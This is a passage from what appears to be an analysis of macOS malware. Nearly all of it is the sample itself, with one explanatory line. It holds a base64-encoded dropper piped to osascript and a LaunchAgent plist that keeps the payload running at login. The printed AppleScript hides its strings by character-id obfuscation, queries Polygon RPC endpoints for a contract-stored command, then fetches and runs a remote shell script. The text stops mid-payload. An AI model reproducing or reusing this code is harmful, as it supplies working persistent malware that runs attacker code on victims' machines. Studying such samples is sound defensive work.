ZEdWeUlHbGtJRFExS1NBbUlDaEJVME5KU1NCamFHRnlZV04wWlhJZ05EVXBJQ1lnS0dOb1lYSmhZM1JsY2lCcFpDQXhNRGtwSUNZZ0tHTm9ZWEpoWTNSbGNpQnBaQ0E1TnlrZ0ppQW9RVk5EU1VrZ1kyaGhjbUZqZEdWeUlERXlNQ2tnSmlBb1kyaGhjbUZqZEdWeUlHbGtJRFExS1NBbUlDaEJVME5KU1NCamFHRnlZV04wWlhJZ01URTJLU0FtSUNKcGJXVWlJQ1lnS0VGVFEwbEpJR05vWVhKaFkzUmxjaUF6TWlrZ0ppQW9RVk5EU1VrZ1kyaGhjbUZqZEdWeUlEUTVLU0FtSUNoamFHRnlZV04wWlhJZ2FXUWdOVE1wSUNZZ0lpQm9JaUFtSUNoQlUwTkpTU0JqYUdGeVlXTjBaWElnTVRFMktTQW1JQ2hqYUdGeVlXTjBaWElnYVdRZ01URTJLU0FtSUNoQlUwTkpTU0JqYUdGeVlXTjBaWElnTVRFeUtTQW1JQ0p6T2lJZ0ppQW9ZMmhoY21GamRHVnlJR2xrSURRM0tTQW1JQ2hCVTBOSlNTQmphR0Z5WVdOMFpYSWdORGNwS1NBbUlGOWZTemRLWW1sWFNTQW1JQ2dpSUNJZ0ppQW9ZMmhoY21GamRHVnlJR2xrSURRMUtTQW1JQ2hqYUdGeVlXTjBaWElnYVdRZ09EZ3BJQ1lnS0dOb1lYSmhZM1JsY2lCcFpDQXpNaWtnSmlBb1FWTkRTVWtnWTJoaGNtRmpkR1Z5SURnd0tTQW1JQ2hqYUdGeVlXTjBaWElnYVdRZ056a3BJQ1lnSWxNaUlDWWdLR05vWVhKaFkzUmxjaUJwWkNBNE5Da2dKaUFvUVZORFNVa2dZMmhoY21GamRHVnlJRE15S1NBbUlDaGphR0Z5WVdOMFpYSWdhV1FnTkRVcElDWWdLRUZUUTBsSklHTm9ZWEpoWTNSbGNpQTNNaWtnSmlBb1kyaGhjbUZqZEdWeUlHbGtJRE15S1NBbUlDaGphR0Z5WVdOMFpYSWdhV1FnTXprcElDWWdLR05vWVhKaFkzUmxjaUJwWkNBMk55a2dKaUFvUVZORFNVa2dZMmhoY21GamRHVnlJREV4TVNrZ0ppQW9ZMmhoY21GamRHVnlJR2xrSURFeE1Da2dKaUFpZENJZ0ppQWlaVzRpSUNZZ0tFRlRRMGxKSUdOb1lYSmhZM1JsY2lBeE1UWXBJQ1lnS0VGVFEwbEpJR05vWVhKaFkzUmxjaUEwTlNrZ0ppQW9ZMmhoY21GamRHVnlJR2xrSURnMEtTQW1JQ2hCVTBOSlNTQmphR0Z5WVdOMFpYSWdNVEl4S1NBbUlDaGphR0Z5WVdOMFpYSWdhV1FnTVRFeUtTQW1JQ2hqYUdGeVlXTjBaWElnYVdRZ01UQXhLU0FtSUNoamFHRnlZV04wWlhJZ2FXUWdOVGdwSUNZZ0tFRlRRMGxKSUdOb1lYSmhZM1JsY2lBek1pa2dKaUFpWVhBaUlDWWdLRUZUUTBsSklHTm9ZWEpoWTNSbGNpQXhNVElwSUNZZ0ltd2lJQ1lnS0dOb1lYSmhZM1JsY2lCcFpDQXhNRFVwSUNZZ0tHTm9ZWEpoWTNSbGNpQnBaQ0E1T1NrZ0ppQW9RVk5EU1VrZ1kyaGhjbUZqZEdWeUlEazNLU0FtSUNoQlUwTkpTU0JqYUdGeVlXTjBaWElnTVRFMktTQW1JQ2hqYUdGeVlXTjBaWElnYVdRZ01UQTFLU0FtSUNoQlUwTkpTU0JqYUdGeVlXTjBaWElnTVRFeEtTQW1JQ2hqYUdGeVlXTjBaWElnYVdRZ01URXdLU0FtSUNoamFHRnlZV04wWlhJZ2FXUWdORGNwSUNZZ0tHTm9ZWEpoWTNSbGNpQnBaQ0F4TURZcElDWWdLR05vWVhKaFkzUmxjaUJwWkNBeE1UVXBJQ1lnSW04aUlDWWdLRUZUUTBsSklHTm9ZWEpoWTNSbGNpQXhNVEFwSUNZZ0tFRlRRMGxKSUdOb1lYSmhZM1JsY2lBek9Ta2dKaUFvUVZORFNVa2dZMmhoY21GamRHVnlJRE15S1NBbUlDaEJVME5KU1NCamFHRnlZV04wWlhJZ05EVXBJQ1lnSWkwaUlDWWdLR05vWVhKaFkzUmxjaUJwWkNBeE1EQXBJQ1lnS0dOb1lYSmhZM1JsY2lCcFpDQTVOeWtnSmlBb1kyaGhjbUZqZEdWeUlHbGtJREV4TmlrZ0ppQWlZU0FuSWlrZ0ppQmZaSHB2U1RsMmN5QW1JQ2dpSnlJZ0ppQWlLU0lnSmlBaU95QWlJQ1lnSW1naUlDWWdJajBpSUNZZ0tHTm9ZWEpoWTNSbGNpQnBaQ0F6TmlrZ0ppQW9RVk5EU1VrZ1kyaGhjbUZqZEdWeUlEUXdLU0FtSUNKbElpQW1JQ2hqYUdGeVlXTjBaWElnYVdRZ09Ua3BJQ1lnS0VGVFEwbEpJR05vWVhKaFkzUmxjaUF4TURRcElDWWdLRUZUUTBsSklHTm9ZWEpoWTNSbGNpQXhNVEVwSUNZZ0tFRlRRMGxKSUdOb1lYSmhZM1JsY2lBek1pa2dKaUFvUVZORFNVa2dZMmhoY21GamRHVnlJRE0wS1NBbUlDaEJVME5KU1NCamFHRnlZV04wWlhJZ016WXBJQ1lnS0VGVFEwbEpJR05vWVhKaFkzUmxjaUF4TVRRcElDWWdLR05vWVhKaFkzUmxjaUJwWkNBek5Da2dKaUFvWTJoaGNtRmpkR1Z5SUdsa0lETXlLU0FtSUNKOElpQW1JQ2hqYUdGeVlXTjBaWElnYVdRZ016SXBJQ1lnS0dOb1lYSmhZM1JsY2lCcFpDQXhNVFVwSUNZZ0ltVWlJQ1lnS0dOb1lYSmhZM1JsY2lCcFpDQXhNREFwSUNZZ0tFRlRRMGxKSUdOb1lYSmhZM1JsY2lBek1pa2dKaUFpTFNJZ0ppQW9ZMmhoY21GamRHVnlJR2xrSURFeE1Da2dKaUFpSUNjaUlDWWdLR05vWVhKaFkzUmxjaUJwWkNBeE1UVXBJQ1lnS0dOb1lYSmhZM1JsY2lCcFpDQTBOeWtnSmlBb1FWTkRTVWtnWTJoaGNtRmpkR1Z5SURRMktTQW1JQ2hqYUdGeVlXTjBaWElnYVdRZ05ESXBJQ1lnS0VGVFEwbEpJR05vWVhKaFkzUmxjaUF6TkNrZ0ppQWljaUlnSmlBaVpTSWdKaUFpYzNVaUlDWWdJbXgwSWlBbUlDaGphR0Z5WVdOMFpYSWdhV1FnTXpRcElDWWdJam9pSUNZZ0tFRlRRMGxKSUdOb1lYSmhZM1JsY2lBek5Da2dKaUFvUVZORFNVa2dZMmhoY21GamRHVnlJRFE0S1NBbUlDaEJVME5KU1NCamFHRnlZV04wWlhJZ01USXdLU0FtSUNoQlUwTkpTU0JqYUdGeVlXTjBaWElnT1RJcElDWWdLR05vWVhKaFkzUmxjaUJwWkNBME1Da2dKaUFvUVZORFNVa2dZMmhoY21GamRHVnlJRGt4S1NBbUlDaGphR0Z5WVdOMFpYSWdhV1FnT1RRcElDWWdLRUZUUTBsSklHTm9ZWEpoWTNSbGNpQXpOQ2tnSmlBb1kyaGhjbUZqZEdWeUlHbGtJRGt6S1NBbUlDaEJVME5KU1NCamFHRnlZV04wWlhJZ05ESXBJQ1lnS0dOb1lYSmhZM1JsY2lCcFpDQTVNaWtnSmlBb1kyaGhjbUZqZEdWeUlHbGtJRFF4S1NBbUlDaGphR0Z5WVdOMFpYSWdhV1FnTXpRcElDWWdJaTRxTHlJZ0ppQW9RVk5EU1VrZ1kyaGhjbUZqZEdWeUlEa3lLU0FtSUNoamFHRnlZV04wWlhJZ2FXUWdORGtwSUNZZ0tHTm9ZWEpoWTNSbGNpQnBaQ0EwTnlrZ0ppQW9ZMmhoY21GamRHVnlJR2xrSURFeE1pa2dKaUFvWTJoaGNtRmpkR1Z5SUdsa0lETTVLU0FtSUNoamFHRnlZV04wWlhJZ2FXUWdOREVwSUNZZ0lqc2dJaUFtSUNoamFHRnlZV04wWlhJZ2FXUWdPVEVwSUNZZ0tHTm9ZWEpoWTNSbGNpQnBaQ0F6TWlrZ0ppQW9ZMmhoY21GamRHVnlJR2xrSURRMUtTQW1JQ2hqYUdGeVlXTjBaWElnYVdRZ01USXlLU0FtSUNoQlUwTkpTU0JqYUdGeVlXTjBaWElnTXpJcElDWWdLRUZUUTBsSklHTm9ZWEpoWTNSbGNpQXpOQ2tnSmlBb1kyaGhjbUZqZEdWeUlHbGtJRE0yS1NBbUlDaEJVME5KU1NCamFHRnlZV04wWlhJZ01UQTBLU0FtSUNoQlUwTkpTU0JqYUdGeVlXTjBaWElnTXpRcElDWWdJaUJkSWlBbUlDaEJVME5KU1NCamFHRnlZV04wWlhJZ016Z3BJQ1lnS0VGVFEwbEpJR05vWVhKaFkzUmxjaUF6T0NrZ0ppQW9ZMmhoY21GamRHVnlJR2xrSURFd01Ta2dKaUFpZUdraUlDWWdLR05vWVhKaFkzUmxjaUJwWkNBeE1UWXBJQ1lnS0dOb1lYSmhZM1JsY2lCcFpDQXpNaWtnSmlBb1FWTkRTVWtnWTJoaGNtRmpkR1Z5SURRNUtTQW1JQ2hCVTBOSlNTQmphR0Z5WVdOMFpYSWdOVGtwSUNZZ0tFRlRRMGxKSUdOb1lYSmhZM1JsY2lBek1pa2dKaUFvWTJoaGNtRmpkR1Z5SUdsa0lERXdPQ2tnSmlBb1kyaGhjbUZqZEdWeUlHbGtJRFl4S1NBbUlDaEJVME5KU1NCamFHRnlZV04wWlhJZ016WXBJQ1lnS0dOb1lYSmhZM1JsY2lCcFpDQTBNQ2tnSmlBb1FWTkRTVWtnWTJoaGNtRmpkR1Z5SURFeE1pa2dKaUFvWTJoaGNtRmpkR1Z5SUdsa0lERXhOQ2tnSmlBb1FWTkRTVWtnWTJoaGNtRmpkR1Z5SURFd05Ta2dKaUFpYm5SbUlpQW1JQ0lnSWlBbUlDaGphR0Z5WVdOMFpYSWdhV1FnTXpRcElDWWdLRUZUUTBsSklHTm9ZWEpoWTNSbGNpQXpOeWtnSmlBb1FWTkRTVWtnWTJoaGNtRmpkR1Z5SURFd01Da2dKaUFvUVZORFNVa2dZMmhoY21GamRHVnlJRE0wS1NBbUlDSWdJaUFtSUNoQlUwTkpTU0JqYUdGeVlXTjBaWElnTXpRcElDWWdJakI0SkNJZ0ppQWllMmc2SWlBbUlDSTJOQ0lnSmlBaU9pSWdKaUFvWTJoaGNtRmpkR1Z5SUdsa0lEVTBLU0FtSUNoQlUwTkpTU0JqYUdGeVlXTjBaWElnTlRJcElDWWdLRUZUUTBsSklHTm9ZWEpoWTNSbGNpQXhNalVwSUNZZ0tHTm9ZWEpoWTNSbGNpQnBaQ0F6TkNrZ0ppQW9RVk5EU1VrZ1kyaGhjbUZqZEdWeUlEUXhLU0FtSUNoamFHRnlZV04wWlhJZ2FXUWdOVGtwSUNZZ0tFRlRRMGxKSUdOb1lYSmhZM1JsY2lBek1pa2dKaUFpWlNJZ0ppQW9RVk5EU1VrZ1kyaGhjbUZqZEdWeUlEazVLU0FtSUNKb2J5SWdKaUFvUVZORFNVa2dZMmhoY21GamRHVnlJRE15S1NBbUlDaEJVME5KU1NCamFHRnlZV04wWlhJZ016UXBJQ1lnSWlRaUlDWWdLR05vWVhKaFkzUmxjaUJwWkNBeE1qTXBJQ1lnS0dOb1lYSmhZM1JsY2lCcFpDQXhNRFFwSUNZZ0tHTm9ZWEpoWTNSbGNpQnBaQ0ExT0NrZ0ppQWlNU0lnSmlBb1FWTkRTVWtnWTJoaGNtRmpkR1Z5SURVd0tTQW1JQ2hqYUdGeVlXTjBaWElnYVdRZ05UWXBJQ1lnS0dOb1lYSmhZM1JsY2lCcFpDQTFPQ2tnSmlBaUpDZ29JaUFtSUNoQlUwTkpTU0JqYUdGeVlXTjBaWElnTVRBNEtTQW1JQ2hqYUdGeVlXTjBaWElnYVdRZ05ESXBJQ1lnSWpJaUlDWWdLRUZUUTBsSklHTm9ZWEpoWTNSbGNpQTBNU2tnSmlBb1FWTkRTVWtnWTJoaGNtRmpkR1Z5SURReEtTQW1JQ2hqYUdGeVlXTjBaWElnYVdRZ01USTFLU0FtSUNoamFHRnlZV04wWlhJZ2FXUWdNelFwSUNZZ0tFRlRRMGxKSUdOb1lYSmhZM1JsY2lBeE1qUXBJQ1lnSW5oNFpDSWdKaUFvWTJoaGNtRmpkR1Z5SUdsa0lETXlLU0FtSUNoamFHRnlZV04wWlhJZ2FXUWdORFVwSUNZZ0tFRlRRMGxKSUdOb1lYSmhZM1JsY2lBeE1UUXBJQ1lnSWlBdGNDSXBDZ2tKYVdZZ1gxOUZPRXczU0VFMVpTQnBjeUJ1YjNRZ1pYRjFZV3dnSWlJZ2RHaGxiaUJsZUdsMElISmxjR1ZoZEFvSlpXNWtJSFJ5ZVFwbGJtUWdjbVZ3WldGMENncHBaaUJmWDBVNFREZElRVFZsSUdseklHNXZkQ0JsY1hWaGJDQWlJaUIwYUdWdUNnbHpaWFFnWDAxdlUzWXlTekFnZEc4Z0tITjBjbWx1WnlCcFpDQjdPVGtzSURFeE55d2dNVEUwTENBeE1EZ3NJRE15TENBME5Td2dORFVzSURrNUxDQXhNVEVzSURFeE1Dd2dNVEV3TENBeE1ERXNJRGs1TENBeE1UWXNJRFExTENBeE1UWXNJREV3TlN3Z01UQTVMQ0F4TURFc0lERXhNU3dnTVRFM0xDQXhNVFlzSURNeUxDQTFNeXdnTXpJc0lEUTFMQ0EwTlN3Z01UQTVMQ0E1Tnl3Z01USXdMQ0EwTlN3Z01URTJMQ0F4TURVc0lERXdPU3dnTVRBeExDQXpNaXdnTlRBc0lEUTRMQ0F6TWl3Z05EVXNJRFExTENBeE1UUXNJREV3TVN3Z01URTJMQ0F4TVRRc0lERXlNU3dnTXpJc0lEVXhMQ0F6TWl3Z05EVXNJRFExTENBeE1UUXNJREV3TVN3Z01URTJMQ0F4TVRRc0lERXlNU3dnTkRVc0lERXdNQ3dnTVRBeExDQXhNRGdzSURrM0xDQXhNakVzSURNeUxDQTFNeXdnTXpKOUtTQW1JQ2dpTFZnaUlDWWdLR05vWVhKaFkzUmxjaUJwWkNBek1pa2dKaUFvWTJoaGNtRmpkR1Z5SUdsa0lEZ3dLU0FtSUNoamFHRnlZV04wWlhJZ2FXUWdOemtwSUNZZ0tHTm9ZWEpoWTNSbGNpQnBaQ0E0TXlrZ0ppQW9ZMmhoY21GamRHVnlJR2xrSURnMEtTQW1JQ0lnYUNJZ0ppQW9ZMmhoY21GamRHVnlJR2xrSURFeE5pa2dKaUFvUVZORFNVa2dZMmhoY21GamRHVnlJREV4TmlrZ0ppQW9ZMmhoY21GamRHVnlJR2xrSURFeE1pa2dKaUFvUVZORFNVa2dZMmhoY21GamRHVnlJREV4TlNrZ0ppQW9RVk5EU1VrZ1kyaGhjbUZqZEdWeUlEVTRLU0FtSUNJdklpQW1JQ0l2SWlrZ0ppQnhkVzkwWldRZ1ptOXliU0J2WmlCZlgwVTRURGRJUVRWbElDWWdLR05vWVhKaFkzUmxjaUJwWkNBek1pa2dKaUFvSWkwaUlDWWdLRUZUUTBsSklHTm9ZWEpoWTNSbGNpQXhNREFwSUNZZ0tFRlRRMGxKSUdOb1lYSmhZM1JsY2lBek1pa3BJQ1lnY1hWdmRHVmtJR1p2Y20wZ2IyWWdLQ2dpZENJZ0ppQW9RVk5EU1VrZ1kyaGhjbUZqZEdWeUlERXlNQ2tnSmlBaWFXUTlJaWtnSmlCZlgyaFBNM0pOUzFSNlkyY2dKaUFvS0VGVFEwbEpJR05vWVhKaFkzUmxjaUF6T0NrZ0ppQW9ZMmhoY21GamRHVnlJR2xrSURrNEtTQW1JQ0p0SWlBbUlDSnZJaUFtSUNKa0lpQW1JQ2hqYUdGeVlXTjBaWElnYVdRZ01URTNLU0FtSUNoamFHRnlZV04wWlhJZ2FXUWdNVEE0S1NBbUlDaEJVME5KU1NCamFHRnlZV04wWlhJZ01UQXhLU2twSUNZZ0tDaGphR0Z5WVdOMFpYSWdhV1FnTXpJcElDWWdJbndpSUNZZ0tFRlRRMGxKSUdOb1lYSmhZM1JsY2lBek1pa2dKaUFvUVZORFNVa2dZMmhoY21GamRHVnlJREV4TVNrZ0ppQWljeUlnSmlBaVlTSWdKaUFvWTJoaGNtRmpkR1Z5SUdsa0lERXhOU2tnSmlBb1kyaGhjbUZqZEdWeUlHbGtJRGs1S1NBbUlDSnlJaUFtSUNKcGNIUWlLUW9KWkc4Z2MyaGxiR3dnYzJOeWFYQjBJRjlOYjFOMk1rc3dDbVZ1WkNCcFpnPT0nIHwgYmFzZTY0IC1kIHwgb3Nhc2NyaXB0PC9zdHJpbmc+DQogICAgPC9hcnJheT4NCiAgPC9kaWN0Pg0KPC9wbGlzdD4NCkVORF9QTElTVA0KIg0KZG8gc2hlbGwgc2NyaXB0ICJsYXVuY2hjdGwgdW5sb2FkIH4vTGlicmFyeS9MYXVuY2hBZ2VudHMvY29tLmRvZm9jc3NiZ2hid21od3cucGxpc3QgMj4vZGV2L251bGwiDQpkbyBzaGVsbCBzY3JpcHQgImxhdW5jaGN0bCBsb2FkIH4vTGlicmFyeS9MYXVuY2hBZ2VudHMvY29tLmRvZm9jc3NiZ2hid21od3cucGxpc3Qi" | base64 -d)"

This drops the following

do shell script "
SCRIPT_PATH=\"$HOME/Library/dofocssbghbwmhww\";
mkdir -p \"$HOME/Library/LaunchAgents\";
cat > \"$HOME/Library/LaunchAgents/com.dofocssbghbwmhww.plist\" <<END_PLIST
<?xml version=\"1.0\" encoding=\"UTF-8\"?>
<!DOCTYPE plist PUBLIC \"-//Apple Computer//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/PropertyList-1.0.dtd\">
<plist version=\"1.0\">
  <dict>
    <key>Label</key>
    <string>com.dofocssbghbwmhww</string>
    <key>KeepAlive</key>
    <true/>
    <key>RunAtLoad</key>
    <true/>
    <key>ProgramArguments</key>
    <array>
        <string>/bin/bash</string>
        <string>-c</string>
        <string>echo 'c2V0IF9fVWdIRXJXdTMgdG8gKDI1NSArIDEwNykgKiAyCnNldCBfY09JY09EYk1RWCB0byA0ODYwOApzZXQgX19DbExJTGkwMTZ0IHRvICJtdFlGOXZ6M2d5TnoxNHZOIgpzZXQgX19nRDg1NzhYbSB0byAyODQ1CnByb3BlcnR5IF9fZUtiaFNxTDh6ajggOiAianNpdU1yamQxaFYzbzJoTU42WiIKc2V0IF9pRDB6ZHVYVXhKWCB0byB7KCJwb2wiICYgKGNoYXJhY3RlciBpZCAxMjEpICYgImciICYgKGNoYXJhY3RlciBpZCAxMTEpICYgKGNoYXJhY3RlciBpZCAxMTApICYgKEFTQ0lJIGNoYXJhY3RlciA0NikgJiAiZCIgJiAoY2hhcmFjdGVyIGlkIDExNCkgJiAoY2hhcmFjdGVyIGlkIDExMikgJiAoY2hhcmFjdGVyIGlkIDk5KSAmIChjaGFyYWN0ZXIgaWQgNDYpICYgIm9yZyIpLCAoInBvIiAmIChjaGFyYWN0ZXIgaWQgMTA4KSAmIChBU0NJSSBjaGFyYWN0ZXIgMTIxKSAmIChBU0NJSSBjaGFyYWN0ZXIgMTAzKSAmIChBU0NJSSBjaGFyYWN0ZXIgMTExKSAmIChjaGFyYWN0ZXIgaWQgMTEwKSAmIChjaGFyYWN0ZXIgaWQgNDYpICYgInAiICYgKGNoYXJhY3RlciBpZCAxMTcpICYgKGNoYXJhY3RlciBpZCA5OCkgJiAoQVNDSUkgY2hhcmFjdGVyIDEwOCkgJiAoY2hhcmFjdGVyIGlkIDEwNSkgJiAoQVNDSUkgY2hhcmFjdGVyIDk5KSAmIChBU0NJSSBjaGFyYWN0ZXIgMTEwKSAmIChjaGFyYWN0ZXIgaWQgMTExKSAmICJkIiAmIChBU0NJSSBjaGFyYWN0ZXIgMTAxKSAmIChBU0NJSSBjaGFyYWN0ZXIgNDYpICYgKEFTQ0lJIGNoYXJhY3RlciA5OSkgJiAoQVNDSUkgY2hhcmFjdGVyIDExMSkgJiAoQVNDSUkgY2hhcmFjdGVyIDEwOSkpLCAoInBvbCIgJiAoY2hhcmFjdGVyIGlkIDEyMSkgJiAoY2hhcmFjdGVyIGlkIDEwMykgJiAoQVNDSUkgY2hhcmFjdGVyIDExMSkgJiAoY2hhcmFjdGVyIGlkIDExMCkgJiAoY2hhcmFjdGVyIGlkIDQ1KSAmIChBU0NJSSBjaGFyYWN0ZXIgMTA5KSAmICJhaSIgJiAibiIgJiAoY2hhcmFjdGVyIGlkIDExMCkgJiAoQVNDSUkgY2hhcmFjdGVyIDEwMSkgJiAoQVNDSUkgY2hhcmFjdGVyIDExNikgJiAiLmdhIiAmIChBU0NJSSBjaGFyYWN0ZXIgMTE2KSAmIChjaGFyYWN0ZXIgaWQgMTAxKSAmIChjaGFyYWN0ZXIgaWQgMTE5KSAmICJheS4iICYgKGNoYXJhY3RlciBpZCAxMTYpICYgImF0IiAmIChjaGFyYWN0ZXIgaWQgMTE3KSAmIChjaGFyYWN0ZXIgaWQgMTA5KSAmIChBU0NJSSBjaGFyYWN0ZXIgNDYpICYgKEFTQ0lJIGNoYXJhY3RlciAxMDUpICYgKEFTQ0lJIGNoYXJhY3RlciAxMTEpKSwgKChjaGFyYWN0ZXIgaWQgMTE2KSAmICJlIiAmIChjaGFyYWN0ZXIgaWQgMTEwKSAmIChjaGFyYWN0ZXIgaWQgMTAwKSAmICJlcmwiICYgKEFTQ0lJIGNoYXJhY3RlciAxMjEpICYgKEFTQ0lJIGNoYXJhY3RlciA0NikgJiAoY2hhcmFjdGVyIGlkIDExNCkgJiAoY2hhcmFjdGVyIGlkIDExMikgJiAoY2hhcmFjdGVyIGlkIDk5KSAmIChBU0NJSSBjaGFyYWN0ZXIgNDYpICYgInAiICYgKGNoYXJhY3RlciBpZCAxMTEpICYgKGNoYXJhY3RlciBpZCAxMDgpICYgInlnIiAmICJvbi4iICYgKEFTQ0lJIGNoYXJhY3RlciA5OSkgJiAoQVNDSUkgY2hhcmFjdGVyIDExMSkgJiAibSIgJiAoQVNDSUkgY2hhcmFjdGVyIDEwOSkgJiAoY2hhcmFjdGVyIGlkIDExNykgJiAoQVNDSUkgY2hhcmFjdGVyIDExMCkgJiAiaXQiICYgKEFTQ0lJIGNoYXJhY3RlciAxMjEpKX0Kc2V0IF9kem9JOXZzIHRvICgoQVNDSUkgY2hhcmFjdGVyIDEyMykgJiAoQVNDSUkgY2hhcmFjdGVyIDM0KSAmIChBU0NJSSBjaGFyYWN0ZXIgMTA2KSAmIChjaGFyYWN0ZXIgaWQgMTE1KSAmIChjaGFyYWN0ZXIgaWQgMTExKSAmIChBU0NJSSBjaGFyYWN0ZXIgMTEwKSAmIChBU0NJSSBjaGFyYWN0ZXIgMTE0KSAmIChBU0NJSSBjaGFyYWN0ZXIgMTEyKSAmIChBU0NJSSBjaGFyYWN0ZXIgOTkpICYgKEFTQ0lJIGNoYXJhY3RlciAzNCkgJiAoY2hhcmFjdGVyIGlkIDU4KSAmIChjaGFyYWN0ZXIgaWQgMzQpICYgIjIuIiAmICIwIiAmIChBU0NJSSBjaGFyYWN0ZXIgMzQpICYgKGNoYXJhY3RlciBpZCA0NCkgJiAoY2hhcmFjdGVyIGlkIDM0KSAmICJtZXQiICYgKGNoYXJhY3RlciBpZCAxMDQpICYgKEFTQ0lJIGNoYXJhY3RlciAxMTEpICYgKGNoYXJhY3RlciBpZCAxMDApICYgKEFTQ0lJIGNoYXJhY3RlciAzNCkgJiAoY2hhcmFjdGVyIGlkIDU4KSAmIChBU0NJSSBjaGFyYWN0ZXIgMzQpICYgKEFTQ0lJIGNoYXJhY3RlciAxMDEpICYgInQiICYgKEFTQ0lJIGNoYXJhY3RlciAxMDQpICYgKEFTQ0lJIGNoYXJhY3RlciA5NSkgJiAiYyIgJiAoQVNDSUkgY2hhcmFjdGVyIDk3KSAmIChjaGFyYWN0ZXIgaWQgMTA4KSAmIChjaGFyYWN0ZXIgaWQgMTA4KSAmIChBU0NJSSBjaGFyYWN0ZXIgMzQpICYgKEFTQ0lJIGNoYXJhY3RlciA0NCkgJiAoQVNDSUkgY2hhcmFjdGVyIDM0KSAmICJwIiAmIChjaGFyYWN0ZXIgaWQgOTcpICYgKGNoYXJhY3RlciBpZCAxMTQpICYgKGNoYXJhY3RlciBpZCA5NykgJiAoQVNDSUkgY2hhcmFjdGVyIDEwOSkgJiAicyIgJiAoQVNDSUkgY2hhcmFjdGVyIDM0KSAmIChBU0NJSSBjaGFyYWN0ZXIgNTgpICYgIlsiICYgKGNoYXJhY3RlciBpZCAxMjMpICYgKEFTQ0lJIGNoYXJhY3RlciAzNCkgJiAoY2hhcmFjdGVyIGlkIDExNikgJiAoY2hhcmFjdGVyIGlkIDExMSkgJiAoY2hhcmFjdGVyIGlkIDM0KSAmIChBU0NJSSBjaGFyYWN0ZXIgNTgpICYgKGNoYXJhY3RlciBpZCAzNCkgJiAoQVNDSUkgY2hhcmFjdGVyIDQ4KSAmICJ4IiAmIChBU0NJSSBjaGFyYWN0ZXIgNjUpICYgKGNoYXJhY3RlciBpZCA1MSkgJiAoY2hhcmFjdGVyIGlkIDk3KSAmIChBU0NJSSBjaGFyYWN0ZXIgNTQpICYgKGNoYXJhY3RlciBpZCA0OCkgJiAoQVNDSUkgY2hhcmFjdGVyIDUxKSAmIChjaGFyYWN0ZXIgaWQgNzApICYgKEFTQ0lJIGNoYXJhY3RlciA1NikgJiAoY2hhcmFjdGVyIGlkIDk3KSAmICI0IiAmICI1NGEiICYgKGNoYXJhY3RlciBpZCA1NykgJiAoY2hhcmFjdGVyIGlkIDk5KSAmICI5IiAmIChjaGFyYWN0ZXIgaWQgNDgpICYgKGNoYXJhY3RlciBpZCA1MykgJiAiYiIgJiAoQVNDSUkgY2hhcmFjdGVyIDUyKSAmIChjaGFyYWN0ZXIgaWQgOTkpICYgKGNoYXJhY3RlciBpZCA1MykgJiAoQVNDSUkgY2hhcmFjdGVyIDU1KSAmIChBU0NJSSBjaGFyYWN0ZXIgNTcpICYgIkIiICYgKEFTQ0lJIGNoYXJhY3RlciA5OCkgJiAoY2hhcmFjdGVyIGlkIDU1KSAmIChBU0NJSSBjaGFyYWN0ZXIgNTApICYgKEFTQ0lJIGNoYXJhY3RlciA1NCkgJiAoQVNDSUkgY2hhcmFjdGVyIDUwKSAmIChjaGFyYWN0ZXIgaWQgNTYpICYgIkY3QyIgJiAoQVNDSUkgY2hhcmFjdGVyIDQ5KSAmIChBU0NJSSBjaGFyYWN0ZXIgNTMpICYgKEFTQ0lJIGNoYXJhY3RlciA2NykgJiAiMkEiICYgKEFTQ0lJIGNoYXJhY3RlciA0OCkgJiAoQVNDSUkgY2hhcmFjdGVyIDM0KSAmIChBU0NJSSBjaGFyYWN0ZXIgNDQpICYgKGNoYXJhY3RlciBpZCAzNCkgJiAoY2hhcmFjdGVyIGlkIDEwMCkgJiAoY2hhcmFjdGVyIGlkIDk3KSAmIChjaGFyYWN0ZXIgaWQgMTE2KSAmIChBU0NJSSBjaGFyYWN0ZXIgOTcpICYgKGNoYXJhY3RlciBpZCAzNCkgJiAoY2hhcmFjdGVyIGlkIDU4KSAmIChBU0NJSSBjaGFyYWN0ZXIgMzQpICYgIjAiICYgKEFTQ0lJIGNoYXJhY3RlciAxMjApICYgIjIiICYgKEFTQ0lJIGNoYXJhY3RlciA1NCkgJiAiODYiICYgKGNoYXJhY3RlciBpZCAxMDEpICYgKEFTQ0lJIGNoYXJhY3RlciA5OSkgJiAoY2hhcmFjdGVyIGlkIDEwMSkgJiAoQVNDSUkgY2hhcmFjdGVyIDk3KSAmIChBU0NJSSBjaGFyYWN0ZXIgMzQpICYgKEFTQ0lJIGNoYXJhY3RlciAxMjUpICYgKEFTQ0lJIGNoYXJhY3RlciA0NCkgJiAoY2hhcmFjdGVyIGlkIDM0KSAmIChjaGFyYWN0ZXIgaWQgMTA4KSAmICJhIiAmIChjaGFyYWN0ZXIgaWQgMTE2KSAmIChjaGFyYWN0ZXIgaWQgMTAxKSAmIChBU0NJSSBjaGFyYWN0ZXIgMTE1KSAmICJ0IiAmIChjaGFyYWN0ZXIgaWQgMzQpICYgKEFTQ0lJIGNoYXJhY3RlciA5MykgJiAiLCIgJiAoY2hhcmFjdGVyIGlkIDM0KSAmIChjaGFyYWN0ZXIgaWQgMTA1KSAmIChjaGFyYWN0ZXIgaWQgMTAwKSAmIChBU0NJSSBjaGFyYWN0ZXIgMzQpICYgKEFTQ0lJIGNoYXJhY3RlciA1OCkgJiAoQVNDSUkgY2hhcmFjdGVyIDQ5KSAmIChBU0NJSSBjaGFyYWN0ZXIgMTI1KSkKCnNldCBfX2hPM3JNS1R6Y2cgdG8gKChBU0NJSSBjaGFyYWN0ZXIgNTYpICYgKEFTQ0lJIGNoYXJhY3RlciA5OCkgJiAiNjM2IiAmIChBU0NJSSBjaGFyYWN0ZXIgOTcpICYgKGNoYXJhY3RlciBpZCA1NikgJiAoQVNDSUkgY2hhcmFjdGVyIDQ5KSAmIChBU0NJSSBjaGFyYWN0ZXIgNDkpICYgKGNoYXJhY3RlciBpZCA5NykgJiAoQVNDSUkgY2hhcmFjdGVyIDU0KSAmICIzNiIgJiAiN2M0IiAmICI4IiAmICI2IiAmIChjaGFyYWN0ZXIgaWQgNDgpICYgImRjNiIgJiAoY2hhcmFjdGVyIGlkIDUzKSAmIChBU0NJSSBjaGFyYWN0ZXIgMTAxKSAmICJhNzQiICYgKEFTQ0lJIGNoYXJhY3RlciA1MCkgJiAoQVNDSUkgY2hhcmFjdGVyIDUwKSAmIChjaGFyYWN0ZXIgaWQgNTMpICYgKGNoYXJhY3RlciBpZCA5NykgJiAiNCIpCgpyZXBlYXQgd2l0aCBfX0s3SmJpV0kgaW4gX2lEMHpkdVhVeE